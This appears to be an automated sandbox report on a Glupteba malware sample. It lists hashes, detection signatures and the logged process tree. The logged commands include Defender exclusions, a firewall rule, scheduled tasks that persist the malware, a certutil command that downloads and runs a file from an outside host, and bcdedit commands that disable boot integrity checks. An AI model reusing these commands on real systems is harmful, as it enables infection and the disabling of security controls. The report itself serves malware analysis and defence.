Analysis
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max time kernel
101s -
max time network
133s -
platform
windows7_x64 -
resource
win7 -
submitted
27-08-2020 02:26
Static task
static1
Behavioral task
behavioral1
Sample
SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe
Resource
win7
General
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Target
SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe
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Size
3.8MB
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MD5
b6240ec8985bd080a7193f70801b2810
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SHA1
75d579b58ab63268d180c055ba040a4752438d05
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SHA256
9808a3875c36c7fc105ebba81213f9c108dbf12d65025752013ea2a2763578d6
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SHA512
f9c7191b398927a566d81a329507b4236f6e09ff3a2fe8ed8f954c77bdc02165371aaea8ae26354c8f3a464784721e66f9945cdaeb777041c1c7538f743dbe02
Malware Config
Signatures
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Glupteba Payload 2 IoCs
Processes:
resource yara_rule behavioral1/memory/1124-2-0x0000000000400000-0x0000000000B11000-memory.dmp family_glupteba behavioral1/memory/1116-5-0x0000000000400000-0x0000000000B11000-memory.dmp family_glupteba -
Modifies boot configuration data using bcdedit 14 IoCs
Processes:
bcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exepid Process 268 bcdedit.exe 656 bcdedit.exe 800 bcdedit.exe 1824 bcdedit.exe 1808 bcdedit.exe 1656 bcdedit.exe 1224 bcdedit.exe 388 bcdedit.exe 568 bcdedit.exe 1776 bcdedit.exe 1888 bcdedit.exe 1552 bcdedit.exe 1968 bcdedit.exe 1620 bcdedit.exe -
Drops file in Drivers directory 1 IoCs
Processes:
csrss.exedescription ioc Process File created C:\Windows\system32\drivers\Winmon.sys csrss.exe -
Executes dropped EXE 5 IoCs
Processes:
csrss.exepatch.exedsefix.exewindefender.exewindefender.exepid Process 1408 csrss.exe 1972 patch.exe 1592 dsefix.exe 1996 windefender.exe 800 windefender.exe -
Modifies Windows Firewall 1 TTPs
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Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
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Processes:
resource yara_rule behavioral1/files/0x00030000000131c6-43.dat upx behavioral1/memory/1996-44-0x0000000000400000-0x0000000000897000-memory.dmp upx behavioral1/files/0x00030000000131c6-45.dat upx behavioral1/files/0x00030000000131c6-48.dat upx -
Loads dropped DLL 12 IoCs
Processes:
SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exepatch.execsrss.exepid Process 1116 SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe 1116 SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe 868 1972 patch.exe 1972 patch.exe 1972 patch.exe 1972 patch.exe 1972 patch.exe 1972 patch.exe 1972 patch.exe 1972 patch.exe 1408 csrss.exe -
Processes:
SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exedescription ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\5ceb4032f2f3 = "0" SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\ProudDust = "0" SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\5ceb4032f2f3.exe = "0" SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe = "0" SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exedescription ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Windows\CurrentVersion\Run\ProudDust = "\"C:\\Windows\\rss\\csrss.exe\"" SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Drops file in Windows directory 4 IoCs
Processes:
SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.execsrss.exedescription ioc Process File created C:\Windows\rss\csrss.exe SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe File created C:\Windows\windefender.exe csrss.exe File opened for modification C:\Windows\windefender.exe csrss.exe File opened for modification C:\Windows\rss SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
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Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid Process 1628 schtasks.exe 1580 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
csrss.exewindefender.exenetsh.exeSecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exedescription ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\@tzres.dll,-392 = "Arab Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time" SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)" SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\@tzres.dll,-161 = "Central Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\@tzres.dll,-112 = "Eastern Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\@tzres.dll,-471 = "Ekaterinburg Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\@tzres.dll,-621 = "Korea Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\@tzres.dll,-692 = "Tasmania Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-152 = "Central America Standard Time" SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\@tzres.dll,-142 = "Canada Central Standard Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\@tzres.dll,-401 = "Arabic Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\@tzres.dll,-434 = "Georgian Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\@tzres.dll,-501 = "Nepal Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\@tzres.dll,-582 = "North Asia East Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies." netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-162 = "Central Standard Time" SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time" SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\@tzres.dll,-961 = "Paraguay Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\@tzres.dll,-962 = "Paraguay Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time" SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time" SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\@tzres.dll,-522 = "N. Central Asia Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time" SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time" SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\@tzres.dll,-261 = "GMT Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\@tzres.dll,-981 = "Kamchatka Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\@tzres.dll,-1471 = "Magadan Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time" SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time" SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time" SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\@tzres.dll,-242 = "Samoa Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\@tzres.dll,-241 = "Samoa Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\@tzres.dll,-191 = "Mountain Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\@tzres.dll,-562 = "SE Asia Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time" SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\@tzres.dll,-472 = "Ekaterinburg Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\@tzres.dll,-622 = "Korea Standard Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\@tzres.dll,-651 = "AUS Central Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\@tzres.dll,-282 = "Central Europe Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\@tzres.dll,-411 = "E. Africa Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\@tzres.dll,-72 = "Newfoundland Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time" SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-741 = "New Zealand Daylight Time" SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\@tzres.dll,-752 = "Tonga Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-831 = "SA Eastern Daylight Time" SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time" SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\@tzres.dll,-402 = "Arabic Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\@tzres.dll,-365 = "Middle East Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\@tzres.dll,-772 = "Montevideo Standard Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time" SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time" SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\@tzres.dll,-92 = "Pacific SA Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time" SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time" SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time" SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time" SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\24\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time" SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exeSecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.execsrss.exepid Process 1124 SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe 1116 SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe 1408 csrss.exe 1408 csrss.exe 1408 csrss.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid Process 464 -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.execsrss.exesc.exedescription pid Process Token: SeDebugPrivilege 1124 SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe Token: SeImpersonatePrivilege 1124 SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe Token: SeSystemEnvironmentPrivilege 1408 csrss.exe Token: SeSecurityPrivilege 332 sc.exe Token: SeSecurityPrivilege 332 sc.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.execmd.exepatch.execsrss.exewindefender.execmd.exedescription pid Process procid_target PID 1116 wrote to memory of 1704 1116 SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe 27 PID 1116 wrote to memory of 1704 1116 SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe 27 PID 1116 wrote to memory of 1704 1116 SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe 27 PID 1116 wrote to memory of 1704 1116 SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe 27 PID 1704 wrote to memory of 1392 1704 cmd.exe 29 PID 1704 wrote to memory of 1392 1704 cmd.exe 29 PID 1704 wrote to memory of 1392 1704 cmd.exe 29 PID 1116 wrote to memory of 1408 1116 SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe 30 PID 1116 wrote to memory of 1408 1116 SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe 30 PID 1116 wrote to memory of 1408 1116 SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe 30 PID 1116 wrote to memory of 1408 1116 SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe 30 PID 1972 wrote to memory of 268 1972 patch.exe 39 PID 1972 wrote to memory of 268 1972 patch.exe 39 PID 1972 wrote to memory of 268 1972 patch.exe 39 PID 1972 wrote to memory of 656 1972 patch.exe 41 PID 1972 wrote to memory of 656 1972 patch.exe 41 PID 1972 wrote to memory of 656 1972 patch.exe 41 PID 1972 wrote to memory of 800 1972 patch.exe 43 PID 1972 wrote to memory of 800 1972 patch.exe 43 PID 1972 wrote to memory of 800 1972 patch.exe 43 PID 1972 wrote to memory of 1824 1972 patch.exe 45 PID 1972 wrote to memory of 1824 1972 patch.exe 45 PID 1972 wrote to memory of 1824 1972 patch.exe 45 PID 1972 wrote to memory of 1808 1972 patch.exe 47 PID 1972 wrote to memory of 1808 1972 patch.exe 47 PID 1972 wrote to memory of 1808 1972 patch.exe 47 PID 1972 wrote to memory of 1656 1972 patch.exe 49 PID 1972 wrote to memory of 1656 1972 patch.exe 49 PID 1972 wrote to memory of 1656 1972 patch.exe 49 PID 1972 wrote to memory of 1224 1972 patch.exe 51 PID 1972 wrote to memory of 1224 1972 patch.exe 51 PID 1972 wrote to memory of 1224 1972 patch.exe 51 PID 1972 wrote to memory of 388 1972 patch.exe 53 PID 1972 wrote to memory of 388 1972 patch.exe 53 PID 1972 wrote to memory of 388 1972 patch.exe 53 PID 1972 wrote to memory of 568 1972 patch.exe 55 PID 1972 wrote to memory of 568 1972 patch.exe 55 PID 1972 wrote to memory of 568 1972 patch.exe 55 PID 1972 wrote to memory of 1776 1972 patch.exe 57 PID 1972 wrote to memory of 1776 1972 patch.exe 57 PID 1972 wrote to memory of 1776 1972 patch.exe 57 PID 1972 wrote to memory of 1888 1972 patch.exe 59 PID 1972 wrote to memory of 1888 1972 patch.exe 59 PID 1972 wrote to memory of 1888 1972 patch.exe 59 PID 1972 wrote to memory of 1552 1972 patch.exe 61 PID 1972 wrote to memory of 1552 1972 patch.exe 61 PID 1972 wrote to memory of 1552 1972 patch.exe 61 PID 1972 wrote to memory of 1968 1972 patch.exe 63 PID 1972 wrote to memory of 1968 1972 patch.exe 63 PID 1972 wrote to memory of 1968 1972 patch.exe 63 PID 1408 wrote to memory of 1620 1408 csrss.exe 65 PID 1408 wrote to memory of 1620 1408 csrss.exe 65 PID 1408 wrote to memory of 1620 1408 csrss.exe 65 PID 1408 wrote to memory of 1620 1408 csrss.exe 65 PID 1408 wrote to memory of 1592 1408 csrss.exe 67 PID 1408 wrote to memory of 1592 1408 csrss.exe 67 PID 1408 wrote to memory of 1592 1408 csrss.exe 67 PID 1408 wrote to memory of 1592 1408 csrss.exe 67 PID 1996 wrote to memory of 1816 1996 windefender.exe 71 PID 1996 wrote to memory of 1816 1996 windefender.exe 71 PID 1996 wrote to memory of 1816 1996 windefender.exe 71 PID 1996 wrote to memory of 1816 1996 windefender.exe 71 PID 1816 wrote to memory of 332 1816 cmd.exe 73 PID 1816 wrote to memory of 332 1816 cmd.exe 73
Processes
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C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1124 -
C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe"2⤵
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1116 -
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
PID:1704 -
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies data under HKEY_USERS
PID:1392
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1408 -
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
PID:1628
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://bbistrovantonbb.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
PID:1580
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1972 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER5⤵
- Modifies boot configuration data using bcdedit
PID:268
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:5⤵
- Modifies boot configuration data using bcdedit
PID:656
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:5⤵
- Modifies boot configuration data using bcdedit
PID:800
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows5⤵
- Modifies boot configuration data using bcdedit
PID:1824
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe5⤵
- Modifies boot configuration data using bcdedit
PID:1808
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe5⤵
- Modifies boot configuration data using bcdedit
PID:1656
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 05⤵
- Modifies boot configuration data using bcdedit
PID:1224
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn5⤵
- Modifies boot configuration data using bcdedit
PID:388
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 15⤵
- Modifies boot configuration data using bcdedit
PID:568
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}5⤵
- Modifies boot configuration data using bcdedit
PID:1776
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast5⤵
- Modifies boot configuration data using bcdedit
PID:1888
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -timeout 05⤵
- Modifies boot configuration data using bcdedit
PID:1552
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}5⤵
- Modifies boot configuration data using bcdedit
PID:1968
